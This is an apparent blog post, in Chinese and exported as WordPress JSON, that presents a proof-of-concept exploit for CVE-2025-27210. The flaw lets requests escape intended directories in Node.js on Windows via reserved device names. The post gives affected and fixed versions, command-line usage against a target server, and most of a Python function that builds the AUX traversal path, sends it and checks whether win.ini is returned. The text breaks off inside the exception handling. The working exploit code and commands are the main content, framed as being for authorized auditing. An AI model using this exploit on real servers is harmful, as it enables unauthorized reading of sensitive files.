{"id":70878,"date":"2026-02-02T18:24:50","date_gmt":"2026-02-02T10:24:50","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/70878.html"},"modified":"2026-02-02T18:24:50","modified_gmt":"2026-02-02T10:24:50","slug":"cve-2025-27210%ef%bc%9anode-js-windows%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e%e6%a3%80%e6%b5%8b%e5%b7%a5%e5%85%b7","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/70878.html","title":{"rendered":"CVE-2025-27210\uff1aNode.js Windows\u8def\u5f84\u904d\u5386\u6f0f\u6d1e\u68c0\u6d4b\u5de5\u5177"},"content":{"rendered":"<h3>CVE-2025-27210&#xff1a;Node.js Windows\u8def\u5f84\u904d\u5386\u6f0f\u6d1e\u68c0\u6d4b\u5de5\u5177<\/h3>\n<h4>\u9879\u76ee\u6982\u8ff0<\/h4>\n<p>\u672c\u9879\u76ee\u63d0\u4f9b\u4e86\u4e00\u4e2a\u6982\u5ff5\u9a8c\u8bc1&#xff08;PoC&#xff09;\u5de5\u5177&#xff0c;\u7528\u4e8e\u68c0\u6d4b\u548c\u9a8c\u8bc1CVE-2025-27210\u6f0f\u6d1e\u7684\u5b58\u5728\u3002\u8fd9\u662f\u4e00\u4e2a\u5f71\u54cdWindows\u7cfb\u7edf\u4e0aNode.js\u7684\u9ad8\u5371\u8def\u5f84\u904d\u5386\u6f0f\u6d1e\u3002\u8be5\u6f0f\u6d1e\u6e90\u4e8eNode.js\u7684path.normalize()\u548cpath.join()\u51fd\u6570\u5bf9Windows\u4fdd\u7559\u8bbe\u5907\u540d&#xff08;\u5982CON\u3001AUX\u3001PRN\u7b49&#xff09;\u7684\u4e0d\u5f53\u5904\u7406&#xff0c;\u653b\u51fb\u8005\u53ef\u5229\u7528\u6b64\u884c\u4e3a\u7ed5\u8fc7\u8def\u5f84\u9650\u5236&#xff0c;\u8bbf\u95ee\u672a\u7ecf\u6388\u6743\u7684\u6587\u4ef6\u6216\u76ee\u5f55\u3002<\/p>\n<h4>\u529f\u80fd\u7279\u6027<\/h4>\n<ul>\n<li>\u7cbe\u786e\u8def\u5f84\u904d\u5386\u5229\u7528&#xff1a;\u751f\u6210\u5e76\u53d1\u9001\u7cbe\u5fc3\u6784\u9020\u7684\u6076\u610f\u8def\u5f84\u5e8f\u5217&#xff0c;\u5229\u7528Windows\u4fdd\u7559\u8bbe\u5907\u540d\u5b9e\u73b0\u8def\u5f84\u904d\u5386\u3002<\/li>\n<li>\u591a\u79cdHTTP\u65b9\u6cd5\u652f\u6301&#xff1a;\u652f\u6301\u901a\u8fc7GET\u548cPOST\u4e24\u79cdHTTP\u65b9\u6cd5\u53d1\u9001\u6f0f\u6d1e\u5229\u7528\u8bf7\u6c42\u3002<\/li>\n<li>\u8be6\u7ec6\u54cd\u5e94\u5206\u6790&#xff1a;\u6355\u83b7\u5e76\u5206\u6790\u76ee\u6807\u670d\u52a1\u5668\u7684\u5b8c\u6574\u54cd\u5e94&#xff0c;\u5305\u62ec\u72b6\u6001\u7801\u3001\u5185\u5bb9\u957f\u5ea6\u548c\u63d0\u53d6\u7684\u6587\u4ef6\u5185\u5bb9\u3002<\/li>\n<li>\u667a\u80fd\u6210\u529f\u5224\u65ad&#xff1a;\u9488\u5bf9\u7279\u5b9a\u76ee\u6807\u6587\u4ef6&#xff08;\u5982win.ini&#xff09;\u8fdb\u884c\u5185\u5bb9\u9a8c\u8bc1&#xff0c;\u4ee5\u786e\u8ba4\u6f0f\u6d1e\u5229\u7528\u662f\u5426\u6210\u529f\u3002<\/li>\n<li>\u5b8c\u6574\u7684\u5ba1\u8ba1\u65e5\u5fd7&#xff1a;\u8bb0\u5f55\u6240\u6709\u76f8\u5173\u64cd\u4f5c\u7ec6\u8282&#xff0c;\u5305\u62ec\u539f\u59cb\u8def\u5f84\u3001\u7f16\u7801\u8def\u5f84\u3001\u5b8c\u6574\u8bf7\u6c42URL\u548c\u54cd\u5e94\u8be6\u60c5&#xff0c;\u4fbf\u4e8e\u5b89\u5168\u5206\u6790\u3002<\/li>\n<\/ul>\n<h4>\u53d7\u5f71\u54cd\u7248\u672c<\/h4>\n<ul>\n<li>Node.js 20.x \u7248\u672c \u4f4e\u4e8e20.19.4<\/li>\n<li>Node.js 22.x \u7248\u672c \u4f4e\u4e8e22.17.1<\/li>\n<li>Node.js 24.x \u7248\u672c \u4f4e\u4e8e24.4.1<\/li>\n<\/ul>\n<p>\u6ce8\u610f&#xff1a;\u4ec5\u5f71\u54cd\u8fd0\u884c\u5728Windows\u4e0a\u7684Node.js\u5e94\u7528\u7a0b\u5e8f\u3002Linux\u548cmacOS\u7cfb\u7edf\u4e0d\u53d7\u5f71\u54cd\u3002<\/p>\n<h4>\u5df2\u4fee\u590d\u7248\u672c<\/h4>\n<ul>\n<li>Node.js 20.19.4<\/li>\n<li>Node.js 22.17.1<\/li>\n<li>Node.js 24.4.1<\/li>\n<\/ul>\n<h4>\u5b89\u88c5\u6307\u5357<\/h4>\n<p>\u672c\u9879\u76ee\u662f\u4e00\u4e2aPython\u811a\u672c&#xff0c;\u65e0\u9700\u590d\u6742\u7684\u5b89\u88c5\u8fc7\u7a0b\u3002\u60a8\u53ea\u9700\u786e\u4fdd\u7cfb\u7edf\u4e2d\u5b89\u88c5\u4e86Python 3\u548c\u5fc5\u8981\u7684\u4f9d\u8d56\u5e93\u3002<\/p>\n<p>\u7cfb\u7edf\u8981\u6c42&#xff1a;<\/p>\n<ul>\n<li>Python 3.6 \u6216\u66f4\u9ad8\u7248\u672c<\/li>\n<li>\u7f51\u7edc\u8bbf\u95ee\u6743\u9650&#xff08;\u7528\u4e8e\u53d1\u9001HTTP\u8bf7\u6c42&#xff09;<\/li>\n<\/ul>\n<p>\u4f9d\u8d56\u5b89\u88c5&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u5b89\u88c5\u6240\u9700\u7684Python\u5e93<\/span><br \/>\npip <span class=\"token function\">install<\/span> requests<\/p>\n<h4>\u4f7f\u7528\u8bf4\u660e<\/h4>\n<p>\u57fa\u7840\u4f7f\u7528\u793a\u4f8b&#xff1a;<\/p>\n<p><span class=\"token comment\"># \u4f7f\u7528GET\u65b9\u6cd5\u6d4b\u8bd5\u6f0f\u6d1e&#xff0c;\u5c1d\u8bd5\u8bfb\u53d6C:\\\\windows\\\\win.ini\u6587\u4ef6<\/span><br \/>\npython exploit.py &#8211;url http:\/\/target-server.com &#8211;file <span class=\"token string\">&#034;C:\\\\windows\\\\win.ini&#034;<\/span> &#8211;method GET<\/p>\n<p><span class=\"token comment\"># \u4f7f\u7528POST\u65b9\u6cd5\u6d4b\u8bd5\u6f0f\u6d1e<\/span><br \/>\npython exploit.py &#8211;url http:\/\/target-server.com &#8211;file <span class=\"token string\">&#034;C:\\\\windows\\\\win.ini&#034;<\/span> &#8211;method POST<\/p>\n<p>\u547d\u4ee4\u884c\u53c2\u6570\u8bf4\u660e&#xff1a;<\/p>\n<ul>\n<li>&#8211;url \u6216 -u&#xff1a;\u76ee\u6807\u670d\u52a1\u5668URL&#xff08;\u5fc5\u9700&#xff09;<\/li>\n<li>&#8211;file \u6216 -f&#xff1a;\u8981\u5c1d\u8bd5\u8bfb\u53d6\u7684\u76ee\u6807\u6587\u4ef6\u8def\u5f84&#xff08;\u5fc5\u9700&#xff09;<\/li>\n<li>&#8211;method \u6216 -m&#xff1a;\u4f7f\u7528\u7684HTTP\u65b9\u6cd5&#xff08;GET\u6216POST&#xff0c;\u9ed8\u8ba4\u4e3aGET&#xff09;<\/li>\n<\/ul>\n<p>\u5178\u578b\u4f7f\u7528\u573a\u666f&#xff1a;<\/p>\n<li>\u5b89\u5168\u5ba1\u8ba1&#xff1a;\u5b89\u5168\u7814\u7a76\u4eba\u5458\u5728\u83b7\u5f97\u6388\u6743\u7684\u60c5\u51b5\u4e0b&#xff0c;\u4f7f\u7528\u6b64\u5de5\u5177\u6d4b\u8bd5\u5176Node.js\u5e94\u7528\u7a0b\u5e8f\u662f\u5426\u53d7CVE-2025-27210\u5f71\u54cd\u3002<\/li>\n<li>\u6f0f\u6d1e\u9a8c\u8bc1&#xff1a;\u6e17\u900f\u6d4b\u8bd5\u4eba\u5458\u5728\u5408\u6cd5\u8303\u56f4\u5185\u9a8c\u8bc1\u76ee\u6807\u7cfb\u7edf\u662f\u5426\u5b58\u5728\u6b64\u7279\u5b9a\u6f0f\u6d1e\u3002<\/li>\n<li>\u5b89\u5168\u6f14\u793a&#xff1a;\u5b89\u5168\u56e2\u961f\u5728\u5185\u90e8\u57f9\u8bad\u4e2d\u6f14\u793aWindows\u4fdd\u7559\u8bbe\u5907\u540d\u5982\u4f55\u88ab\u7528\u4e8e\u8def\u5f84\u904d\u5386\u653b\u51fb\u3002<\/li>\n<h4>\u6838\u5fc3\u4ee3\u7801<\/h4>\n<p>\u4ee5\u4e0b\u662f\u9879\u76ee\u4e2d\u7684\u6838\u5fc3\u6f0f\u6d1e\u5229\u7528\u51fd\u6570\u53ca\u5176\u8be6\u7ec6\u6ce8\u91ca&#xff1a;<\/p>\n<p><span class=\"token keyword\">import<\/span> argparse<br \/>\n<span class=\"token keyword\">import<\/span> requests<br \/>\n<span class=\"token keyword\">import<\/span> urllib<span class=\"token punctuation\">.<\/span>parse<br \/>\n<span class=\"token keyword\">import<\/span> json<br \/>\n<span class=\"token keyword\">import<\/span> sys<\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">exploit_path_traversal_precise<\/span><span class=\"token punctuation\">(<\/span>target_url<span class=\"token punctuation\">:<\/span> <span class=\"token builtin\">str<\/span><span class=\"token punctuation\">,<\/span> target_file<span class=\"token punctuation\">:<\/span> <span class=\"token builtin\">str<\/span><span class=\"token punctuation\">,<\/span> method<span class=\"token punctuation\">:<\/span> <span class=\"token builtin\">str<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&#8211;<\/span><span class=\"token operator\">&gt;<\/span> <span class=\"token builtin\">dict<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    <span class=\"token triple-quoted-string string\">&#034;&#034;&#034;<br \/>\n    \u6267\u884c\u7cbe\u786e\u7684\u8def\u5f84\u904d\u5386\u6f0f\u6d1e\u5229\u7528\u653b\u51fb\u3002<\/p>\n<p>    \u6b64\u51fd\u6570\u5229\u7528Windows\u4fdd\u7559\u8bbe\u5907\u540d&#xff08;AUX&#xff09;\u7ed3\u5408\u8def\u5f84\u904d\u5386\u5e8f\u5217&#xff08;..\\\\\\\\&#xff09;&#xff0c;<br \/>\n    \u5c1d\u8bd5\u7ed5\u8fc7Node.js\u7684\u8def\u5f84\u89c4\u8303\u5316\u68c0\u67e5&#xff0c;\u8bfb\u53d6\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u7684\u654f\u611f\u6587\u4ef6\u3002<\/p>\n<p>    \u53c2\u6570:<br \/>\n        target_url (str): \u76ee\u6807\u670d\u52a1\u5668\u7684\u57fa\u672cURL<br \/>\n        target_file (str): \u8981\u5c1d\u8bd5\u8bfb\u53d6\u7684\u76ee\u6807\u6587\u4ef6\u8def\u5f84&#xff08;\u5982C:\\\\windows\\\\win.ini&#xff09;<br \/>\n        method (str): \u4f7f\u7528\u7684HTTP\u65b9\u6cd5&#xff08;&#039;GET&#039; \u6216 &#039;POST&#039;&#xff09;<\/p>\n<p>    \u8fd4\u56de:<br \/>\n        dict: \u5305\u542b\u653b\u51fb\u8be6\u60c5\u548c\u7ed3\u679c\u7684\u5b57\u5178<br \/>\n    &#034;&#034;&#034;<\/span><\/p>\n<p>    <span class=\"token comment\"># \u6784\u9020\u8def\u5f84\u904d\u5386\u5e8f\u5217&#xff1a;\u4f7f\u75286\u4e2a&#034;..\\\\\\\\&#034;\u6765\u5411\u4e0a\u904d\u5386\u76ee\u5f55<\/span><br \/>\n    traverse_sequence <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;..\\\\\\\\&#034;<\/span> <span class=\"token operator\">*<\/span> <span class=\"token number\">6<\/span><\/p>\n<p>    <span class=\"token comment\"># \u5904\u7406\u76ee\u6807\u6587\u4ef6\u8def\u5f84&#xff1a;\u79fb\u9664C:\u76d8\u7b26\u548c\u5f00\u5934\u7684\u659c\u6760\/\u53cd\u659c\u6760<\/span><br \/>\n    normalized_target_file <span class=\"token operator\">&#061;<\/span> target_file<span class=\"token punctuation\">.<\/span>replace<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;C:&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#034;&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>lstrip<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;\\\\\\\\\/&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>    <span class=\"token comment\"># \u6784\u9020\u6076\u610f\u8def\u5f84&#xff1a;\u7ed3\u5408\u904d\u5386\u5e8f\u5217\u3001Windows\u4fdd\u7559\u8bbe\u5907\u540dAUX\u548c\u76ee\u6807\u6587\u4ef6<\/span><br \/>\n    <span class=\"token comment\"># AUX\u662fWindows\u4fdd\u7559\u8bbe\u5907\u540d&#xff0c;\u7528\u4e8e\u7ed5\u8fc7\u8def\u5f84\u68c0\u67e5<\/span><br \/>\n    malicious_path <span class=\"token operator\">&#061;<\/span> <span class=\"token string-interpolation\"><span class=\"token string\">f&#034;<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>traverse_sequence<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">AUX\\\\\\\\..\\\\\\\\<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>normalized_target_file<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><\/p>\n<p>    <span class=\"token comment\"># URL\u7f16\u7801\u6076\u610f\u8def\u5f84&#xff0c;\u786e\u4fdd\u7279\u6b8a\u5b57\u7b26\u88ab\u6b63\u786e\u4f20\u8f93<\/span><br \/>\n    encoded_malicious_path <span class=\"token operator\">&#061;<\/span> urllib<span class=\"token punctuation\">.<\/span>parse<span class=\"token punctuation\">.<\/span>quote<span class=\"token punctuation\">(<\/span>malicious_path<span class=\"token punctuation\">,<\/span> safe<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;&#039;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>    <span class=\"token comment\"># \u6784\u9020\u5b8c\u6574\u7684\u8bf7\u6c42URL<\/span><br \/>\n    full_url <span class=\"token operator\">&#061;<\/span> <span class=\"token string-interpolation\"><span class=\"token string\">f&#034;<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>target_url<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">\/<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>encoded_malicious_path<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><\/p>\n<p>    <span class=\"token comment\"># \u521d\u59cb\u5316\u54cd\u5e94\u6570\u636e\u7ed3\u6784&#xff0c;\u7528\u4e8e\u8bb0\u5f55\u653b\u51fb\u8be6\u60c5<\/span><br \/>\n    response_data <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token string\">&#034;target_url&#034;<\/span><span class=\"token punctuation\">:<\/span> target_url<span class=\"token punctuation\">,<\/span><br \/>\n        <span class=\"token string\">&#034;target_file_attempted&#034;<\/span><span class=\"token punctuation\">:<\/span> target_file<span class=\"token punctuation\">,<\/span><br \/>\n        <span class=\"token string\">&#034;malicious_path_sent_raw&#034;<\/span><span class=\"token punctuation\">:<\/span> malicious_path<span class=\"token punctuation\">,<\/span><br \/>\n        <span class=\"token string\">&#034;malicious_path_sent_encoded&#034;<\/span><span class=\"token punctuation\">:<\/span> encoded_malicious_path<span class=\"token punctuation\">,<\/span><br \/>\n        <span class=\"token string\">&#034;full_request_url&#034;<\/span><span class=\"token punctuation\">:<\/span> full_url<span class=\"token punctuation\">,<\/span><br \/>\n        <span class=\"token string\">&#034;http_method&#034;<\/span><span class=\"token punctuation\">:<\/span> method<span class=\"token punctuation\">,<\/span><br \/>\n        <span class=\"token string\">&#034;success&#034;<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token boolean\">False<\/span><span class=\"token punctuation\">,<\/span>  <span class=\"token comment\"># \u653b\u51fb\u662f\u5426\u6210\u529f\u7684\u6807\u5fd7<\/span><br \/>\n        <span class=\"token string\">&#034;response_status_code&#034;<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token boolean\">None<\/span><span class=\"token punctuation\">,<\/span>  <span class=\"token comment\"># HTTP\u54cd\u5e94\u72b6\u6001\u7801<\/span><br \/>\n        <span class=\"token string\">&#034;response_content_length&#034;<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token boolean\">None<\/span><span class=\"token punctuation\">,<\/span>  <span class=\"token comment\"># \u54cd\u5e94\u5185\u5bb9\u957f\u5ea6<\/span><br \/>\n        <span class=\"token string\">&#034;extracted_content&#034;<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token boolean\">None<\/span><span class=\"token punctuation\">,<\/span>  <span class=\"token comment\"># \u63d0\u53d6\u7684\u6587\u4ef6\u5185\u5bb9<\/span><br \/>\n        <span class=\"token string\">&#034;error_message&#034;<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token boolean\">None<\/span>  <span class=\"token comment\"># \u9519\u8bef\u4fe1\u606f&#xff08;\u5982\u679c\u6709&#xff09;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><\/p>\n<p>    <span class=\"token keyword\">try<\/span><span class=\"token punctuation\">:<\/span><br \/>\n        <span class=\"token comment\"># \u6253\u5370\u653b\u51fb\u51c6\u5907\u4fe1\u606f<\/span><br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[*] \u51c6\u5907\u6267\u884c\u7cbe\u786e\u8def\u5f84\u904d\u5386\u6f0f\u6d1e\u5229\u7528&#8230;&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[*] \u6076\u610f\u8def\u5f84&#xff08;\u7f16\u7801\u524d&#xff09;: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>malicious_path<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[*] \u6076\u610f\u8def\u5f84&#xff08;\u7f16\u7801\u540e&#xff09;: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>encoded_malicious_path<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[*] \u8bf7\u6c42URL: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>full_url<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>        <span class=\"token comment\"># \u6839\u636e\u6307\u5b9a\u7684HTTP\u65b9\u6cd5\u53d1\u9001\u8bf7\u6c42<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> method<span class=\"token punctuation\">.<\/span>upper<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token string\">&#039;GET&#039;<\/span><span class=\"token punctuation\">:<\/span><br \/>\n            <span class=\"token comment\"># GET\u8bf7\u6c42&#xff1a;\u5c06\u6076\u610f\u8def\u5f84\u76f4\u63a5\u9644\u52a0\u5728URL\u540e<\/span><br \/>\n            response <span class=\"token operator\">&#061;<\/span> requests<span class=\"token punctuation\">.<\/span>get<span class=\"token punctuation\">(<\/span>full_url<span class=\"token punctuation\">,<\/span> timeout<span class=\"token operator\">&#061;<\/span><span class=\"token number\">15<\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">elif<\/span> method<span class=\"token punctuation\">.<\/span>upper<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token string\">&#039;POST&#039;<\/span><span class=\"token punctuation\">:<\/span><br \/>\n            <span class=\"token comment\"># POST\u8bf7\u6c42&#xff1a;\u5c06\u6076\u610f\u8def\u5f84\u4f5c\u4e3afilename\u53c2\u6570\u53d1\u9001<\/span><br \/>\n            response <span class=\"token operator\">&#061;<\/span> requests<span class=\"token punctuation\">.<\/span>post<span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>target_url<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">,<\/span> params<span class=\"token operator\">&#061;<\/span><span class=\"token punctuation\">{<\/span><span class=\"token string\">&#039;filename&#039;<\/span><span class=\"token punctuation\">:<\/span> encoded_malicious_path<span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">,<\/span> timeout<span class=\"token operator\">&#061;<\/span><span class=\"token number\">15<\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">else<\/span><span class=\"token punctuation\">:<\/span><br \/>\n            <span class=\"token keyword\">raise<\/span> ValueError<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;\u4e0d\u652f\u6301\u7684HTTP\u65b9\u6cd5\u3002\u8bf7\u4f7f\u7528&#039;GET&#039;\u6216&#039;POST&#039;\u3002&#034;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>        <span class=\"token comment\"># \u8bb0\u5f55\u54cd\u5e94\u72b6\u6001\u7801\u548c\u5185\u5bb9\u957f\u5ea6<\/span><br \/>\n        response_data<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#034;response_status_code&#034;<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token operator\">&#061;<\/span> response<span class=\"token punctuation\">.<\/span>status_code<br \/>\n        response_data<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#034;response_content_length&#034;<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token builtin\">len<\/span><span class=\"token punctuation\">(<\/span>response<span class=\"token punctuation\">.<\/span>content<span class=\"token punctuation\">)<\/span><\/p>\n<p>        <span class=\"token comment\"># \u68c0\u67e5\u54cd\u5e94\u72b6\u6001\u7801\u662f\u5426\u4e3a200&#xff08;\u6210\u529f&#xff09;<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> response<span class=\"token punctuation\">.<\/span>status_code <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token number\">200<\/span><span class=\"token punctuation\">:<\/span><br \/>\n            content <span class=\"token operator\">&#061;<\/span> response<span class=\"token punctuation\">.<\/span>text<br \/>\n            response_data<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#034;extracted_content&#034;<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token operator\">&#061;<\/span> content<\/p>\n<p>            <span class=\"token comment\"># \u5224\u65ad\u653b\u51fb\u662f\u5426\u6210\u529f&#xff1a;<\/span><br \/>\n            <span class=\"token comment\"># 1. \u5982\u679c\u76ee\u6807\u6587\u4ef6\u662fwin.ini&#xff0c;\u68c0\u67e5\u662f\u5426\u5305\u542b&#034;[windows]&#034;\u6807\u8bc6<\/span><br \/>\n            <span class=\"token comment\"># 2. \u5bf9\u4e8e\u5176\u4ed6\u6587\u4ef6&#xff0c;\u53ea\u8981\u54cd\u5e94\u5185\u5bb9\u975e\u7a7a\u5373\u89c6\u4e3a\u53ef\u80fd\u6210\u529f<\/span><br \/>\n            <span class=\"token keyword\">if<\/span> target_file<span class=\"token punctuation\">.<\/span>lower<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>endswith<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;win.ini&#034;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">and<\/span> <span class=\"token string\">&#034;[windows]&#034;<\/span> <span class=\"token keyword\">in<\/span> content<span class=\"token punctuation\">.<\/span>lower<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                response_data<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#034;success&#034;<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token boolean\">True<\/span><br \/>\n                <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[&#043;] \u6210\u529f\u8bfb\u53d6\u76ee\u6807\u6587\u4ef6: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>target_file<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n                <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[&#043;] \u6587\u4ef6\u5185\u5bb9\u957f\u5ea6: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span><span class=\"token builtin\">len<\/span><span class=\"token punctuation\">(<\/span>content<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\"> \u5b57\u7b26&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n            <span class=\"token keyword\">elif<\/span> <span class=\"token builtin\">len<\/span><span class=\"token punctuation\">(<\/span>content<span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&gt;<\/span> <span class=\"token number\">0<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                <span class=\"token comment\"># \u5bf9\u4e8e\u975ewin.ini\u6587\u4ef6&#xff0c;\u6709\u5185\u5bb9\u8fd4\u56de\u53ef\u80fd\u8868\u793a\u6210\u529f<\/span><br \/>\n                response_data<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#034;success&#034;<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token boolean\">True<\/span><br \/>\n                <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[&#043;] \u6210\u529f\u8bfb\u53d6\u76ee\u6807\u6587\u4ef6: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>target_file<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n                <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[&#043;] \u6587\u4ef6\u5185\u5bb9\u957f\u5ea6: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span><span class=\"token builtin\">len<\/span><span class=\"token punctuation\">(<\/span>content<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\"> \u5b57\u7b26&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n            <span class=\"token keyword\">else<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[-] \u54cd\u5e94\u5185\u5bb9\u4e3a\u7a7a&#xff0c;\u53ef\u80fd\u6587\u4ef6\u4e0d\u5b58\u5728\u6216\u65e0\u8bfb\u53d6\u6743\u9650&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">else<\/span><span class=\"token punctuation\">:<\/span><br \/>\n            <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[-] \u8bf7\u6c42\u5931\u8d25&#xff0c;\u72b6\u6001\u7801: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>response<span class=\"token punctuation\">.<\/span>status_code<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>    <span class=\"token keyword\">except<\/span> requests<span class=\"token punctuation\">.<\/span>exceptions<span class=\"token punctuation\">.<\/span>Timeout<span class=\"token punctuation\">:<\/span><br \/>\n        <span class=\"token comment\"># \u5904\u7406\u8bf7\u6c42\u8d85\u65f6\u5f02\u5e38<\/span><br \/>\n        error_msg <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;\u8bf7\u6c42\u8d85\u65f6&#xff08;15\u79d2&#xff09;&#034;<\/span><br \/>\n        response_data<span class=\"token punctuation\">[<\/span><span class=\"token string\">&#034;error_message&#034;<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token operator\">&#061;<\/span> error_msg<br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;[-] <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>error_msg<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token 